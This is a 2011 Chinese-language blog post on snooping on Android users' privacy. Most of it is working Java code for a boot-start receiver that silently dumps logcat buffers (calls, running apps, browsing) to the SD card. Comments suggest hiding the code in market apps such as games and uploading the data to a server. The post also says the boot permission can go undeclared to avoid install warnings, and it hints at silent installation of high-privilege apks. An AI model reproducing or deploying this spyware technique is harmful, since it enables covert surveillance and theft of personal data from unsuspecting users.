抛砖引玉 之 谁动了我的隐私(android用户隐私窥探)

用户的隐私永远是第一位的,用户的隐私也是最值钱的。

最近各大门户相继被泄露。。。保管好自己的密码就行了

这里我就扯一下android下面搞用户隐私的方法,也算是android的一个疏忽。

但最主要的,还是用户在安装apk时对权限警告的无视,就犹如我们所有社区的密码设为相同一样。

罪魁祸首就是logcat。以及一个权限检测的bug.

 

1、开机启动

  程序如何开机启动?那就是接受一个关于开机的广播,具体流程是这样的,首先在 清单文件 声明一个权限   

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />    

  然后就是写receiver以及在清单中设置了。

        <receiver android:name ="org.igeek.hack.reciver.HackReceiver">
<intent-filter android:priority ="1000">
<action android:name ="android.intent.action.BOOT_COMPLETED"/>
</intent-filter >
</receiver >

  

public class HackReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {
................
}
}

 

  其实呢,完全可以不必声明权限,照样使用。

  android的包管理器在检测到用户要安装apk时,只是扫描一下清单中的权限声明,然后列出权限警告给用户,上面根本没有声明这个权限,所以不会列出来,但不影响使用,这个bug一直坚守到了4.0.

 

2、窥探隐私

  我们要记录用户的一切,从开机开始!

  安卓的一些调试工具,是默认集成在rom中的,比如logcat,不止是sdk中携带,而是每部安卓手机以及平板都有的。

  而且,安卓框架会向log缓冲区写入所有的Log,具体是这几类:maineventsradiosystem。这些Log缓冲区基本上涵盖了手机运行的方方面面。

  进入正题,我们会用到Process类,也就是进程类,dalvik会分裂出一个进程来执行其它本地程序,就像在shell中打入命令,shell分裂一个进程来运行它一样,我们只需要把shell下的命令写成字符串,直接扔给process即可。

别忘了再加入这两个权限

    <uses-permission android:name="android.permission.READ_LOGS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>



 

  1 //简单的示例,这些代码可以附加到某个market的应用里,比如游戏等等
2 //其实有些广告的sdk,需要一大堆权限,好多都需要开机启动
3 //我想,可能是收集用户信息来分析用户的行为,来进行定点投放广告吧
4 public class HackReceiver extends BroadcastReceiver {
5
6 @Override
7 public void onReceive(Context context, Intent intent) {
8
9 ///main
10 Runnable r1=new Runnable() {
11
12 @Override
13 public void run() {
14 writeLog("org.igeek.hack.main.log", "main");
15 }
16 };
17 ///events
18 Runnable r2=new Runnable() {
19
20 @Override
21 public void run() {
22 writeLog("org.igeek.hack.events.log", "events");
23 }
24 };
25 ///radio
26 Runnable r3=new Runnable() {
27
28 @Override
29 public void run() {
30 writeLog("org.igeek.hack.radio.log", "radio");
31 }
32 };
33 ///system
34 Runnable r4=new Runnable() {
35
36 @Override
37 public void run() {
38 writeLog("org.igeek.hack.system.log", "system");
39 }
40 };
41
42 Thread t1=new Thread(r1);
43 Thread t2=new Thread(r2);
44 Thread t3=new Thread(r3);
45 Thread t4=new Thread(r4);
46
47
48
49 t1.start();
50 t2.start();
51 t3.start();
52 t4.start();
53 }
54
55 //你懂得
56 private void writeLog(String file,String content){
57 try {
58 StringBuilder command = new StringBuilder("logcat" );
59
60 File devFile = new File( Environment.getExternalStorageDirectory(),file );
61 if (devFile.createNewFile()){
62 command.append(" -b " ).append(content);
63
64
65 //命令格式是: logcat -b main
66 //logcat -b radio 等等
67 Process process = Runtime.getRuntime().exec(command.toString());
68
69
70 //这里,将本地程序的标准输出,也就是std::out转成java的输入流
71 InputStream input = process.getInputStream();
72 BufferedReader reader = new BufferedReader( new InputStreamReader(input));
73
74 //再把转入的输入流搞成输出流,这里放到sd卡的目录里面
75 FileOutputStream output=new FileOutputStream(devFile);
76 BufferedOutputStream bot=new BufferedOutputStream(output);
77
78 Log.e("hack", "记录LOG -> "+"sd:"+file);
79 String log;
80 while((log = reader.readLine()) != null){
81
82 //其实在输入流获取后,可以根据规则摘取想要的信息
83 //没有必要通吃
84
85
86 //在关机前,这个循环是很难跳出的
87 bot.write(log.getBytes());
88
89
90 //这里呢,可以学学骑驴250,将获取的数据上传到服务器
91 /*
92 伪代码
93
94 在清单中添加个Internet权限,相信用户也不会多心的
95
96
97 go:连接服务器
98 go:压缩并上传数据
99
100
101 */
102 }
103 bot.close();
104 output.close();
105 reader.close();
106 input.close();
107
108 //亲手测试一下,你会惊讶的发现,谁给你打电话、你当前运行什么程序、
109 //你看什么不该看的网页,都一一记录在案
110
111
112 }
113 } catch (IOException e) {
114 //have a nice day
115 e.printStackTrace();
116 }
117 }
118
119 }


就说这么多,感兴趣的可以研究研究market的安装方法,以及market uri,可以做到0权限静默安装高权限apk。

 最后,请关注我的 抛砖引玉 系列,会有更多精彩内容

原创,转载请注明  http://hangxin1940.cnblogs.com

这里仅当抛砖引玉,本人水平有限,难免有些疏漏或者错误,还请指正!!!

 

 

 

 

posted on 2011-12-30 00:53  黑暗伯爵  阅读(1587)  评论(1编辑  收藏  举报

导航